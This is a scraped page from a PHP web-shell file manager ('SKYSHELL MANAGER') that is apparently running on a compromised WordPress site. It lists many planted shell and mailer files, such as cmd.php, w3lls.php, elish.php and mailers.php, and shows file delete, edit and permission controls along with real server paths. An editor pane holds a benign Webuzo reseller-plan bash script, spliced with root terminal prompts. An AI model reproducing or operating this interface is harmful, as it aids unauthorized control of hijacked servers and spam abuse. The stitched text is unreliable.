📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
africainfos
/
Nazareth.israel.africa-infos.com
/
Name
Size
Perm
Actions
📁
.tmb
-
0755
🗑️
🏷️
🔒
📁
159264
-
0755
🗑️
🏷️
🔒
📁
289519
-
0755
🗑️
🏷️
🔒
📁
876911
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
wk
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
wpclone_backup
-
0755
🗑️
🏷️
🔒
📄
.webshell_scan_active.json
0.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_queue_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.lst
105679.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_state_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.json
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
OBFUSCATE.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
_.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cmd.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
d.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php7
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.phtml
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php7
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.phtml
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php7
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.phtml
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
10.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
function.php
4.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc1.php
4.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc2.php
0.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php7
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.phtml
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
php.php
70.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
samurai_activity.log
0.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.php
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.phtml
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test1.php7
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
txets.php
5.93 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3ll_protected_2025-10-25T07-11-52.html
160.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php
206.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php7
209.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc - Copy.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
webshell_scan_batch_progress.log
63.85 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-canvas.php
10.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-constants.php
1.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-frame.php
27.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-query.php
10.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-response.php
123 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-schema.php
1.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-tokens.php
1.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-conffq.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-formatting.php
34.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-headre.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-protection.php
10.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-templates.php
1.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: reseller_plan.sh
#!/bin/bash #cp -pr /var/webuzo/plans /var/webuzo/orig.`date +%F`_plans #cp -pr /var/webuzo/users /var/webuzo/orig.`date +%F`_users if [ ! -f /usr/bin/jq ]; then yum -y install jq oniguruma fi # Default values for missing keys in reseller_privileges declare -A r100_values=( ["reseller_tot_acc_limit"]="30" ["reseller_tot_disk_limit"]="51200" ["reseller_tot_inode"]="500000" ["reseller_tot_bandwidth"]="1048576" ["reseller_tot_ftp"]="unlimited" ["reseller_tot_email"]="unlimited" ["reseller_tot_database"]="unlimited" ["reseller_tot_subdomain"]="unlimited" ["reseller_tot_parked"]="unlimited" ["reseller_tot_addon"]="unlimited" ["reseller_allow_overselling"]="1" ["reseller_max_disk_limit"]="51200" ["reseller_max_inode"]="500000" ["reseller_max_bandwidth_limit"]="1048576" ["reseller_max_ftp_account"]="unlimited" ["reseller_max_email_account"]="unlimited" ["reseller_max_quota_email"]="unlimited" ["reseller_max_database"]="unlimited" ["reseller_max_subdomain"]="unlimited" ["reseller_max_parked_domain"]="unlimited" ["reseller_max_addon_domain"]="unlimited" ["reseller_max_hourly_email"]="2000" ["reseller_max_percent_failed"]="unlimited" ) declare -A r200_values=( ["reseller_tot_acc_limit"]="60" ["reseller_tot_disk_limit"]="102400" ["reseller_tot_inode"]="1000000" ["reseller_tot_bandwidth"]="2097152" ["reseller_tot_ftp"]="unlimited" ["reseller_tot_email"]="unlimited" ["reseller_tot_database"]="unlimited" ["reseller_tot_subdomain"]="unlimited" ["reseller_tot_parked"]="unlimited" ["reseller_tot_addon"]="unlimited" ["reseller_allow_overselling"]="1" ["reseller_max_disk_limit"]="102400" ["reseller_max_inode"]="1000000" ["reseller_max_bandwidth_limit"]="2097152" ["reseller_max_ftp_account"]="unlimited" ["reseller_max_email_account"]="unlimited" ["reseller_max_quota_email"]="unlimited" ["reseller_max_database"]="unlimited" ["reseller_max_subdomain"]="unlimited" ["reseller_max_parked_domain"]="unlimited" ["reseller_max_addon_domain"]="unlimited" ["reseller_max_hourly_email"]="5000" ["reseller_max_percent_failed"]="unlimited" ) declare -A r300_values=( ["reseller_tot_acc_limit"]="100" ["reseller_tot_disk_limit"]="153600" ["reseller_tot_inode"]="1500000" ["reseller_tot_bandwidth"]="3170304" ["reseller_tot_ftp"]="unlimited" ["reseller_tot_email"]="unlimited" ["reseller_tot_database"]="unlimited" ["reseller_tot_subdomain"]="unlimited" ["reseller_tot_parked"]="unlimited" ["reseller_tot_addon"]="unlimited" ["reseller_allow_overselling"]="1" ["reseller_max_disk_limit"]="153600" ["reseller_max_inode"]="1500000" ["reseller_max_bandwidth_limit"]="3170304" ["reseller_max_ftp_account"]="unlimited" ["reseller_max_email_account"]="unlimited" ["reseller_max_quota_email"]="unlimited" ["reseller_max_database"]="unlimited" ["reseller_max_subdomain"]="unlimited" ["reseller_max_parked_domain"]="unlimited" ["reseller_max_addon_domain"]="unlimited" ["reseller_max_hourly_email"]="10000" ["reseller_max_percent_failed"]="unlimited" ) dir_name="/var/webuzo/users" declare -A FILE_KEYWORD_MAP # Search for file names r100_files=$(grep -Ewrl '"plan": "r-100"| "plan": "ssdr-100"' $dir_name) r200_files=$(grep -Ewrl '"plan": "r-200"| "plan": "ssdr-200"' $dir_name) r300_files=$(grep -Ewrl '"plan": "r-300"| "plan": "ssdr-300"' $dir_name) if [ -n "$r100_files" ]; then for file in $r100_files; do FILE_KEYWORD_MAP["$file"]="r100_values" done fi if [ -n "$r200_files" ]; then for file in $r200_files; do FILE_KEYWORD_MAP["$file"]="r200_values" done fi if [ -n "$r300_files" ]; then for file in $r300_files; do FILE_KEYWORD_MAP["$file"]="r300_values" done fi # Loop through each info file for info_file in "${!FILE_KEYWORD_MAP[@]}"; do echo "Processing $info_file" # Check if 'reseller_privileges' exists if ! jq -e '.reseller_privileges' "$info_file" >/dev/null; then echo "No 'reseller_privileges' section found in $info_file. Skipping." continue fi if [ -f "$info_file" ]; then KEYWORDS_ARRAY_NAME="${FILE_KEYWORD_MAP[$info_file]}" declare -n KEYWORD_VALUES="$KEYWORDS_ARRAY_NAME" for key in "${!KEYWORD_VALUES[@]}"; do if ! jq -e --arg key "$key" '.reseller_privileges[$key]' "$info_file" >/dev/null; then value="${KEYWORD_VALUES[$key]}" echo "Adding missing key '$key' with value '$value' to $info_file" jq --arg key "$key" --arg value "$value" '.reseller_privileges[$key] = $value' "$info_file" > "$info_file.tmp" && mv "$info_file.tmp" "$info_file" fi done fi done for i in `grep '"reseller": "1"' /var/webuzo/users/*/info | cut -d: -f1 `; do sed -i 's/"reseller": ""/"reseller": "1"/g' $i; done webuzo --wdb_rebuild [root@ansible donna]# cat reseller_plan_change reseller_plan_change_modify.sh reseller_plan_change.sh [root@ansible donna]# cat reseller_plan_change.sh #!/bin/bash cp -pr /var/webuzo/plans /var/webuzo/orig.`date +%F`_plans cp -pr /var/webuzo/users /var/webuzo/orig.`date +%F`_users # Default values for missing keys in reseller_privileges declare -A r100_values=( ["reseller_tot_acc_limit"]="30" ["reseller_tot_disk_limit"]="51200" ["reseller_tot_inode"]="500000" ["reseller_tot_bandwidth"]="1048576" ["reseller_tot_ftp"]="unlimited" ["reseller_tot_email"]="unlimited" ["reseller_tot_database"]="unlimited" ["reseller_tot_subdomain"]="unlimited" ["reseller_tot_parked"]="unlimited" ["reseller_tot_addon"]="unlimited" ["reseller_allow_overselling"]="1" ["reseller_max_disk_limit"]="51200" ["reseller_max_inode"]="500000" ["reseller_max_bandwidth_limit"]="1048576" ["reseller_max_ftp_account"]="unlimited" ["reseller_max_email_account"]="unlimited" ["reseller_max_quota_email"]="unlimited" ["reseller_max_database"]="unlimited" ["reseller_max_subdomain"]="unlimited" ["reseller_max_parked_domain"]="unlimited" ["reseller_max_addon_domain"]="unlimited" ["reseller_max_hourly_email"]="2000" ["reseller_max_percent_failed"]="unlimited" ) declare -A r200_values=( ["reseller_tot_acc_limit"]="60" ["reseller_tot_disk_limit"]="102400" ["reseller_tot_inode"]="1000000" ["reseller_tot_bandwidth"]="2097152" ["reseller_tot_ftp"]="unlimited" ["reseller_tot_email"]="unlimited" ["reseller_tot_database"]="unlimited" ["reseller_tot_subdomain"]="unlimited" ["reseller_tot_parked"]="unlimited" ["reseller_tot_addon"]="unlimited" ["reseller_allow_overselling"]="1" ["reseller_max_disk_limit"]="102400" ["reseller_max_inode"]="1000000" ["reseller_max_bandwidth_limit"]="2097152" ["reseller_max_ftp_account"]="unlimited" ["reseller_max_email_account"]="unlimited" ["reseller_max_quota_email"]="unlimited" ["reseller_max_database"]="unlimited" ["reseller_max_subdomain"]="unlimited" ["reseller_max_parked_domain"]="unlimited" ["reseller_max_addon_domain"]="unlimited" ["reseller_max_hourly_email"]="5000" ["reseller_max_percent_failed"]="unlimited" ) declare -A r300_values=( ["reseller_tot_acc_limit"]="100" ["reseller_tot_disk_limit"]="153600" ["reseller_tot_inode"]="1500000" ["reseller_tot_bandwidth"]="3170304" ["reseller_tot_ftp"]="unlimited" ["reseller_tot_email"]="unlimited" ["reseller_tot_database"]="unlimited" ["reseller_tot_subdomain"]="unlimited" ["reseller_tot_parked"]="unlimited" ["reseller_tot_addon"]="unlimited" ["reseller_allow_overselling"]="1" ["reseller_max_disk_limit"]="153600" ["reseller_max_inode"]="1500000" ["reseller_max_bandwidth_limit"]="3170304" ["reseller_max_ftp_account"]="unlimited" ["reseller_max_email_account"]="unlimited" ["reseller_max_quota_email"]="unlimited" ["reseller_max_database"]="unlimited" ["reseller_max_subdomain"]="unlimited" ["reseller_max_parked_domain"]="unlimited" ["reseller_max_addon_domain"]="unlimited" ["reseller_max_hourly_email"]="10000" ["reseller_max_percent_failed"]="unlimited" ) dir_name="/var/webuzo/users" declare -A FILE_KEYWORD_MAP sed -i 's/"max_inode":.*/"max_inode": "500000",/g' /var/webuzo/plans/r-100 sed -i 's/"max_inode":.*/"max_inode": "1000000",/g' /var/webuzo/plans/r-200 sed -i 's/"max_inode":.*/"max_inode": "1500000",/g' /var/webuzo/plans/r-300 sed -i 's/"max_disk_limit":.*/"max_disk_limit": "51200",/g' /var/webuzo/plans/r-100 sed -i 's/"max_disk_limit":.*/"max_disk_limit": "102400",/g' /var/webuzo/plans/r-200 sed -i 's/"max_disk_limit":.*/"max_disk_limit": "153600",/g' /var/webuzo/plans/r-300 sed -i 's/"max_bandwidth_limit":.*/"max_bandwidth_limit": "1048576",/g' /var/webuzo/plans/r-100 sed -i 's/"max_bandwidth_limit":.*/"max_bandwidth_limit": "2097152",/g' /var/webuzo/plans/r-200 sed -i 's/"max_bandwidth_limit":.*/"max_bandwidth_limit": "3170304",/g' /var/webuzo/plans/r-300 sed -i 's/"max_inode":.*/"max_inode": "500000",/g' /var/webuzo/plans/ssdr-100 sed -i 's/"max_inode":.*/"max_inode": "1000000",/g' /var/webuzo/plans/ssdr-200 sed -i 's/"max_inode":.*/"max_inode": "1500000",/g' /var/webuzo/plans/ssdr-300 sed -i 's/"max_disk_limit":.*/"max_disk_limit": "51200",/g' /var/webuzo/plans/ssdr-100 sed -i 's/"max_disk_limit":.*/"max_disk_limit": "102400",/g' /var/webuzo/plans/ssdr-200 sed -i 's/"max_disk_limit":.*/"max_disk_limit": "153600",/g' /var/webuzo/plans/ssdr-300 sed -i 's/"max_bandwidth_limit":.*/"max_bandwidth_limit": "1048576",/g' /var/webuzo/plans/ssdr-100 sed -i 's/"max_bandwidth_limit":.*/"max_bandwidth_limit": "2097152",/g' /var/webuzo/plans/ssdr-200 sed -i 's/"max_bandwidth_limit":.*/"max_bandwidth_limit": "3170304",/g' /var/webuzo/plans/ssdr-300 # Search for file names r100_files=$(grep -Erl '"plan": "r-100"| "plan": "ssdr-100"' $dir_name) r200_files=$(grep -Erl '"plan": "r-200"| "plan": "ssdr-200"' $dir_name) r300_files=$(grep -Erl '"plan": "r-300"| "plan": "ssdr-300"' $dir_name) if [ -n "$r100_files" ]; then for file in $r100_files; do FILE_KEYWORD_MAP["$file"]="r100_values" done fi if [ -n "$r200_files" ]; then for file in $r200_files; do FILE_KEYWORD_MAP["$file"]="r200_values" done fi if [ -n "$r300_files" ]; then for file in $r300_files; do FILE_KEYWORD_MAP["$file"]="r300_values" done fi # Loop through each info file for info_file in "${!FILE_KEYWORD_MAP[@]}"; do echo "Processing $info_file" if [ -f "$info_file" ]; then KEYWORDS_ARRAY_NAME="${FILE_KEYWORD_MAP[$info_file]}" declare -n KEYWORD_VALUES="$KEYWORDS_ARRAY_NAME" for keyword in "${!KEYWORD_VALUES[@]}"; do NEW_VALUE="\"${KEYWORD_VALUES[$keyword]}\"" if grep -q "$keyword" "$info_file"; then current_value=$(grep "$keyword" "$info_file" | cut -d':' -f2 | cut -d, -f1 | xargs) if [ \""$current_value"\" != "$NEW_VALUE" ]; then sed -i -Ee "s/(\"$keyword\": ).*/\1$NEW_VALUE\,/" "$info_file" echo 'Replaced "$keyword" value with "$NEW_VALUE" in "$info_file"' else echo 'The value for "$keyword" is already "$NEW_VALUE" in "$info_file". No changes made' fi else echo "'$keyword' not found in '$info_file'" fi done else echo "File '$info_file' does not exist" fi done webuzo --reapply_plan --all for i in `grep '"reseller": "1"' /var/webuzo/users/*/info | cut -d: -f1 `; do sed -i 's/"reseller": ""/"reseller": "1"/g' $i; done webuzo --wdb_rebuild /usr/local/emps/bin/php /usr/local/webuzo/cronh.php debug=4 >/dev/null
Save